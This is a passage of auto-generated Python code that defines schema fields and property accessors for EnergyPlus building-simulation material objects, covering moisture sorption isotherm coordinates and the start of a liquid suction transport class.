'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 16', {'name': u'Relative Humidity Fraction 16', 'pyname': u'relative_humidity_fraction_16', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 16', {'name': u'Moisture Content 16', 'pyname': u'moisture_content_16', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 17', {'name': u'Relative Humidity Fraction 17', 'pyname': u'relative_humidity_fraction_17', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 17', {'name': u'Moisture Content 17', 'pyname': u'moisture_content_17', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 18', {'name': u'Relative Humidity Fraction 18', 'pyname': u'relative_humidity_fraction_18', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 18', {'name': u'Moisture Content 18', 'pyname': u'moisture_content_18', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 19', {'name': u'Relative Humidity Fraction 19', 'pyname': u'relative_humidity_fraction_19', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 19', {'name': u'Moisture Content 19', 'pyname': u'moisture_content_19', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 20', {'name': u'Relative Humidity Fraction 20', 'pyname': u'relative_humidity_fraction_20', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 20', {'name': u'Moisture Content 20', 'pyname': u'moisture_content_20', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 21', {'name': u'Relative Humidity Fraction 21', 'pyname': u'relative_humidity_fraction_21', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 21', {'name': u'Moisture Content 21', 'pyname': u'moisture_content_21', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 22', {'name': u'Relative Humidity Fraction 22', 'pyname': u'relative_humidity_fraction_22', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 22', {'name': u'Moisture Content 22', 'pyname': u'moisture_content_22', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 23', {'name': u'Relative Humidity Fraction 23', 'pyname': u'relative_humidity_fraction_23', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 23', {'name': u'Moisture Content 23', 'pyname': u'moisture_content_23', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 24', {'name': u'Relative Humidity Fraction 24', 'pyname': u'relative_humidity_fraction_24', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 24', {'name': u'Moisture Content 24', 'pyname': u'moisture_content_24', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'relative humidity fraction 25', {'name': u'Relative Humidity Fraction 25', 'pyname': u'relative_humidity_fraction_25', 'maximum': 1.0, 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'dimensionless'}), (u'moisture content 25', {'name': u'Moisture Content 25', 'pyname': u'moisture_content_25', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:HeatAndMoistureTransfer:SorptionIsotherm', 'pyname': u'MaterialPropertyHeatAndMoistureTransferSorptionIsotherm', 'required-object': False, 'unique-object': False} @property def material_name(self): """field `Material Name` | The Material Name that the moisture sorption isotherm will be added to. Args: value (str): value for IDD Field `Material Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `material_name` or None if not set """ return self["Material Name"] @material_name.setter def material_name(self, value=None): """Corresponds to IDD field `Material Name`""" self["Material Name"] = value @property def number_of_isotherm_coordinates(self): """field `Number of Isotherm Coordinates` | Number of data Coordinates | value >= 1 | value <= 25 Args: value (int): value for IDD Field `Number of Isotherm Coordinates` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_isotherm_coordinates` or None if not set """ return self["Number of Isotherm Coordinates"] @number_of_isotherm_coordinates.setter def number_of_isotherm_coordinates(self, value=None): """Corresponds to IDD field `Number of Isotherm Coordinates`""" self["Number of Isotherm Coordinates"] = value @property def relative_humidity_fraction_1(self): """field `Relative Humidity Fraction 1` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_1` or None if not set """ return self["Relative Humidity Fraction 1"] @relative_humidity_fraction_1.setter def relative_humidity_fraction_1(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 1`""" self["Relative Humidity Fraction 1"] = value @property def moisture_content_1(self): """field `Moisture Content 1` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_1` or None if not set """ return self["Moisture Content 1"] @moisture_content_1.setter def moisture_content_1(self, value=None): """Corresponds to IDD field `Moisture Content 1`""" self["Moisture Content 1"] = value @property def relative_humidity_fraction_2(self): """field `Relative Humidity Fraction 2` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_2` or None if not set """ return self["Relative Humidity Fraction 2"] @relative_humidity_fraction_2.setter def relative_humidity_fraction_2(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 2`""" self["Relative Humidity Fraction 2"] = value @property def moisture_content_2(self): """field `Moisture Content 2` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_2` or None if not set """ return self["Moisture Content 2"] @moisture_content_2.setter def moisture_content_2(self, value=None): """Corresponds to IDD field `Moisture Content 2`""" self["Moisture Content 2"] = value @property def relative_humidity_fraction_3(self): """field `Relative Humidity Fraction 3` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_3` or None if not set """ return self["Relative Humidity Fraction 3"] @relative_humidity_fraction_3.setter def relative_humidity_fraction_3(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 3`""" self["Relative Humidity Fraction 3"] = value @property def moisture_content_3(self): """field `Moisture Content 3` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_3` or None if not set """ return self["Moisture Content 3"] @moisture_content_3.setter def moisture_content_3(self, value=None): """Corresponds to IDD field `Moisture Content 3`""" self["Moisture Content 3"] = value @property def relative_humidity_fraction_4(self): """field `Relative Humidity Fraction 4` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_4` or None if not set """ return self["Relative Humidity Fraction 4"] @relative_humidity_fraction_4.setter def relative_humidity_fraction_4(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 4`""" self["Relative Humidity Fraction 4"] = value @property def moisture_content_4(self): """field `Moisture Content 4` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_4` or None if not set """ return self["Moisture Content 4"] @moisture_content_4.setter def moisture_content_4(self, value=None): """Corresponds to IDD field `Moisture Content 4`""" self["Moisture Content 4"] = value @property def relative_humidity_fraction_5(self): """field `Relative Humidity Fraction 5` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_5` or None if not set """ return self["Relative Humidity Fraction 5"] @relative_humidity_fraction_5.setter def relative_humidity_fraction_5(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 5`""" self["Relative Humidity Fraction 5"] = value @property def moisture_content_5(self): """field `Moisture Content 5` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_5` or None if not set """ return self["Moisture Content 5"] @moisture_content_5.setter def moisture_content_5(self, value=None): """Corresponds to IDD field `Moisture Content 5`""" self["Moisture Content 5"] = value @property def relative_humidity_fraction_6(self): """field `Relative Humidity Fraction 6` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_6` or None if not set """ return self["Relative Humidity Fraction 6"] @relative_humidity_fraction_6.setter def relative_humidity_fraction_6(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 6`""" self["Relative Humidity Fraction 6"] = value @property def moisture_content_6(self): """field `Moisture Content 6` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_6` or None if not set """ return self["Moisture Content 6"] @moisture_content_6.setter def moisture_content_6(self, value=None): """Corresponds to IDD field `Moisture Content 6`""" self["Moisture Content 6"] = value @property def relative_humidity_fraction_7(self): """field `Relative Humidity Fraction 7` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_7` or None if not set """ return self["Relative Humidity Fraction 7"] @relative_humidity_fraction_7.setter def relative_humidity_fraction_7(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 7`""" self["Relative Humidity Fraction 7"] = value @property def moisture_content_7(self): """field `Moisture Content 7` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_7` or None if not set """ return self["Moisture Content 7"] @moisture_content_7.setter def moisture_content_7(self, value=None): """Corresponds to IDD field `Moisture Content 7`""" self["Moisture Content 7"] = value @property def relative_humidity_fraction_8(self): """field `Relative Humidity Fraction 8` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_8` or None if not set """ return self["Relative Humidity Fraction 8"] @relative_humidity_fraction_8.setter def relative_humidity_fraction_8(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 8`""" self["Relative Humidity Fraction 8"] = value @property def moisture_content_8(self): """field `Moisture Content 8` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_8` or None if not set """ return self["Moisture Content 8"] @moisture_content_8.setter def moisture_content_8(self, value=None): """Corresponds to IDD field `Moisture Content 8`""" self["Moisture Content 8"] = value @property def relative_humidity_fraction_9(self): """field `Relative Humidity Fraction 9` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_9` or None if not set """ return self["Relative Humidity Fraction 9"] @relative_humidity_fraction_9.setter def relative_humidity_fraction_9(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 9`""" self["Relative Humidity Fraction 9"] = value @property def moisture_content_9(self): """field `Moisture Content 9` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_9` or None if not set """ return self["Moisture Content 9"] @moisture_content_9.setter def moisture_content_9(self, value=None): """Corresponds to IDD field `Moisture Content 9`""" self["Moisture Content 9"] = value @property def relative_humidity_fraction_10(self): """field `Relative Humidity Fraction 10` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_10` or None if not set """ return self["Relative Humidity Fraction 10"] @relative_humidity_fraction_10.setter def relative_humidity_fraction_10(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 10`""" self["Relative Humidity Fraction 10"] = value @property def moisture_content_10(self): """field `Moisture Content 10` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_10` or None if not set """ return self["Moisture Content 10"] @moisture_content_10.setter def moisture_content_10(self, value=None): """Corresponds to IDD field `Moisture Content 10`""" self["Moisture Content 10"] = value @property def relative_humidity_fraction_11(self): """field `Relative Humidity Fraction 11` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_11` or None if not set """ return self["Relative Humidity Fraction 11"] @relative_humidity_fraction_11.setter def relative_humidity_fraction_11(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 11`""" self["Relative Humidity Fraction 11"] = value @property def moisture_content_11(self): """field `Moisture Content 11` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_11` or None if not set """ return self["Moisture Content 11"] @moisture_content_11.setter def moisture_content_11(self, value=None): """Corresponds to IDD field `Moisture Content 11`""" self["Moisture Content 11"] = value @property def relative_humidity_fraction_12(self): """field `Relative Humidity Fraction 12` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_12` or None if not set """ return self["Relative Humidity Fraction 12"] @relative_humidity_fraction_12.setter def relative_humidity_fraction_12(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 12`""" self["Relative Humidity Fraction 12"] = value @property def moisture_content_12(self): """field `Moisture Content 12` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_12` or None if not set """ return self["Moisture Content 12"] @moisture_content_12.setter def moisture_content_12(self, value=None): """Corresponds to IDD field `Moisture Content 12`""" self["Moisture Content 12"] = value @property def relative_humidity_fraction_13(self): """field `Relative Humidity Fraction 13` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_13` or None if not set """ return self["Relative Humidity Fraction 13"] @relative_humidity_fraction_13.setter def relative_humidity_fraction_13(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 13`""" self["Relative Humidity Fraction 13"] = value @property def moisture_content_13(self): """field `Moisture Content 13` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_13` or None if not set """ return self["Moisture Content 13"] @moisture_content_13.setter def moisture_content_13(self, value=None): """Corresponds to IDD field `Moisture Content 13`""" self["Moisture Content 13"] = value @property def relative_humidity_fraction_14(self): """field `Relative Humidity Fraction 14` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_14` or None if not set """ return self["Relative Humidity Fraction 14"] @relative_humidity_fraction_14.setter def relative_humidity_fraction_14(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 14`""" self["Relative Humidity Fraction 14"] = value @property def moisture_content_14(self): """field `Moisture Content 14` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_14` or None if not set """ return self["Moisture Content 14"] @moisture_content_14.setter def moisture_content_14(self, value=None): """Corresponds to IDD field `Moisture Content 14`""" self["Moisture Content 14"] = value @property def relative_humidity_fraction_15(self): """field `Relative Humidity Fraction 15` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_15` or None if not set """ return self["Relative Humidity Fraction 15"] @relative_humidity_fraction_15.setter def relative_humidity_fraction_15(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 15`""" self["Relative Humidity Fraction 15"] = value @property def moisture_content_15(self): """field `Moisture Content 15` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_15` or None if not set """ return self["Moisture Content 15"] @moisture_content_15.setter def moisture_content_15(self, value=None): """Corresponds to IDD field `Moisture Content 15`""" self["Moisture Content 15"] = value @property def relative_humidity_fraction_16(self): """field `Relative Humidity Fraction 16` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_16` or None if not set """ return self["Relative Humidity Fraction 16"] @relative_humidity_fraction_16.setter def relative_humidity_fraction_16(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 16`""" self["Relative Humidity Fraction 16"] = value @property def moisture_content_16(self): """field `Moisture Content 16` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_16` or None if not set """ return self["Moisture Content 16"] @moisture_content_16.setter def moisture_content_16(self, value=None): """Corresponds to IDD field `Moisture Content 16`""" self["Moisture Content 16"] = value @property def relative_humidity_fraction_17(self): """field `Relative Humidity Fraction 17` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_17` or None if not set """ return self["Relative Humidity Fraction 17"] @relative_humidity_fraction_17.setter def relative_humidity_fraction_17(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 17`""" self["Relative Humidity Fraction 17"] = value @property def moisture_content_17(self): """field `Moisture Content 17` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_17` or None if not set """ return self["Moisture Content 17"] @moisture_content_17.setter def moisture_content_17(self, value=None): """Corresponds to IDD field `Moisture Content 17`""" self["Moisture Content 17"] = value @property def relative_humidity_fraction_18(self): """field `Relative Humidity Fraction 18` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_18` or None if not set """ return self["Relative Humidity Fraction 18"] @relative_humidity_fraction_18.setter def relative_humidity_fraction_18(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 18`""" self["Relative Humidity Fraction 18"] = value @property def moisture_content_18(self): """field `Moisture Content 18` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_18` or None if not set """ return self["Moisture Content 18"] @moisture_content_18.setter def moisture_content_18(self, value=None): """Corresponds to IDD field `Moisture Content 18`""" self["Moisture Content 18"] = value @property def relative_humidity_fraction_19(self): """field `Relative Humidity Fraction 19` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_19` or None if not set """ return self["Relative Humidity Fraction 19"] @relative_humidity_fraction_19.setter def relative_humidity_fraction_19(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 19`""" self["Relative Humidity Fraction 19"] = value @property def moisture_content_19(self): """field `Moisture Content 19` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_19` or None if not set """ return self["Moisture Content 19"] @moisture_content_19.setter def moisture_content_19(self, value=None): """Corresponds to IDD field `Moisture Content 19`""" self["Moisture Content 19"] = value @property def relative_humidity_fraction_20(self): """field `Relative Humidity Fraction 20` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_20` or None if not set """ return self["Relative Humidity Fraction 20"] @relative_humidity_fraction_20.setter def relative_humidity_fraction_20(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 20`""" self["Relative Humidity Fraction 20"] = value @property def moisture_content_20(self): """field `Moisture Content 20` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_20` or None if not set """ return self["Moisture Content 20"] @moisture_content_20.setter def moisture_content_20(self, value=None): """Corresponds to IDD field `Moisture Content 20`""" self["Moisture Content 20"] = value @property def relative_humidity_fraction_21(self): """field `Relative Humidity Fraction 21` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_21` or None if not set """ return self["Relative Humidity Fraction 21"] @relative_humidity_fraction_21.setter def relative_humidity_fraction_21(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 21`""" self["Relative Humidity Fraction 21"] = value @property def moisture_content_21(self): """field `Moisture Content 21` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_21` or None if not set """ return self["Moisture Content 21"] @moisture_content_21.setter def moisture_content_21(self, value=None): """Corresponds to IDD field `Moisture Content 21`""" self["Moisture Content 21"] = value @property def relative_humidity_fraction_22(self): """field `Relative Humidity Fraction 22` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_22` or None if not set """ return self["Relative Humidity Fraction 22"] @relative_humidity_fraction_22.setter def relative_humidity_fraction_22(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 22`""" self["Relative Humidity Fraction 22"] = value @property def moisture_content_22(self): """field `Moisture Content 22` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_22` or None if not set """ return self["Moisture Content 22"] @moisture_content_22.setter def moisture_content_22(self, value=None): """Corresponds to IDD field `Moisture Content 22`""" self["Moisture Content 22"] = value @property def relative_humidity_fraction_23(self): """field `Relative Humidity Fraction 23` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_23` or None if not set """ return self["Relative Humidity Fraction 23"] @relative_humidity_fraction_23.setter def relative_humidity_fraction_23(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 23`""" self["Relative Humidity Fraction 23"] = value @property def moisture_content_23(self): """field `Moisture Content 23` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_23` or None if not set """ return self["Moisture Content 23"] @moisture_content_23.setter def moisture_content_23(self, value=None): """Corresponds to IDD field `Moisture Content 23`""" self["Moisture Content 23"] = value @property def relative_humidity_fraction_24(self): """field `Relative Humidity Fraction 24` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_24` or None if not set """ return self["Relative Humidity Fraction 24"] @relative_humidity_fraction_24.setter def relative_humidity_fraction_24(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 24`""" self["Relative Humidity Fraction 24"] = value @property def moisture_content_24(self): """field `Moisture Content 24` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_24` or None if not set """ return self["Moisture Content 24"] @moisture_content_24.setter def moisture_content_24(self, value=None): """Corresponds to IDD field `Moisture Content 24`""" self["Moisture Content 24"] = value @property def relative_humidity_fraction_25(self): """field `Relative Humidity Fraction 25` | The relative humidity is entered as a fraction. | Units: dimensionless | value <= 1.0 Args: value (float): value for IDD Field `Relative Humidity Fraction 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `relative_humidity_fraction_25` or None if not set """ return self["Relative Humidity Fraction 25"] @relative_humidity_fraction_25.setter def relative_humidity_fraction_25(self, value=None): """Corresponds to IDD field `Relative Humidity Fraction 25`""" self["Relative Humidity Fraction 25"] = value @property def moisture_content_25(self): """field `Moisture Content 25` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_25` or None if not set """ return self["Moisture Content 25"] @moisture_content_25.setter def moisture_content_25(self, value=None): """Corresponds to IDD field `Moisture Content 25`""" self["Moisture Content 25"] = value class MaterialPropertyHeatAndMoistureTransferSuction(DataObject): """ Corresponds to IDD object `MaterialProperty:HeatAndMoistureTransfer:Suction` HeatBalanceAlgorithm = CombinedHeatAndMoistureFiniteElement solution algorithm only. Relationship between liquid suction transport coefficient and moisture content Has no effect with other HeatBalanceAlgorithm solution algorithms """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'material name', {'name': u'Material Name', 'pyname': u'material_name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'number of suction points', {'name': u'Number of Suction points', 'pyname': u'number_of_suction_points', 'maximum': 25, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'moisture content 1', {'name': u'Moisture Content 1', 'pyname': u'moisture_content_1', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 1', {'name': u'Liquid Transport Coefficient 1', 'pyname': u'liquid_transport_coefficient_1', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 2', {'name': u'Moisture Content 2', 'pyname': u'moisture_content_2', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 2', {'name': u'Liquid Transport Coefficient 2', 'pyname': u'liquid_transport_coefficient_2', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 3', {'name': u'Moisture Content 3', 'pyname': u'moisture_content_3', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 3', {'name': u'Liquid Transport Coefficient 3', 'pyname': u'liquid_transport_coefficient_3', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 4', {'name': u'Moisture Content 4', 'pyname': u'moisture_content_4', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 4', {'name': u'Liquid Transport Coefficient 4', 'pyname': u'liquid_transport_coefficient_4', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 5', {'name': u'Moisture Content 5', 'pyname': u'moisture_content_5', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 5', {'name': u'Liquid Transport Coefficient 5', 'pyname': u'liquid_transport_coefficient_5', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), 